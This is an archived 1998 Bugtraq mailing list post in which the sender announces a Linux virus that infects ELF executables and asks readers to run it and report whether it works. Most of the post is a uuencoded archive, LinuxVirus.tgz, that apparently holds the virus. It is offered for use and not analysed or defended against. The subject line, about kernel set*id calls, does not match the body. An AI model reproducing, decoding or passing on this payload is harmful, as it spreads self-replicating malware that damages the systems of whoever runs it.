Bugtraq mailing list archives

Linux kernel: sys_set*id(uid_t...) confusion


From: stealth () CYBERSPACE ORG (stealth () CYBERSPACE ORG)
Date: Sun, 21 Jun 1998 12:52:56 +0200


hi all,
i send you a virus that infects ELF-files non-overwriting.
please send me an email and tell me if it works on your systems
(on my sys it still works of corse ...) if you received this package.
I guess that you use uudecode to get LinuxVirus.tgz ;) .
thanx,

Stealthf0rk     <stealth () cyberspace org>


begin 640 LinuxVirus.tgz
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
DGW\2ROFVV,;_V7?1U8\4`````````````"QQ`7YYLP8`>```
`
end



Current thread: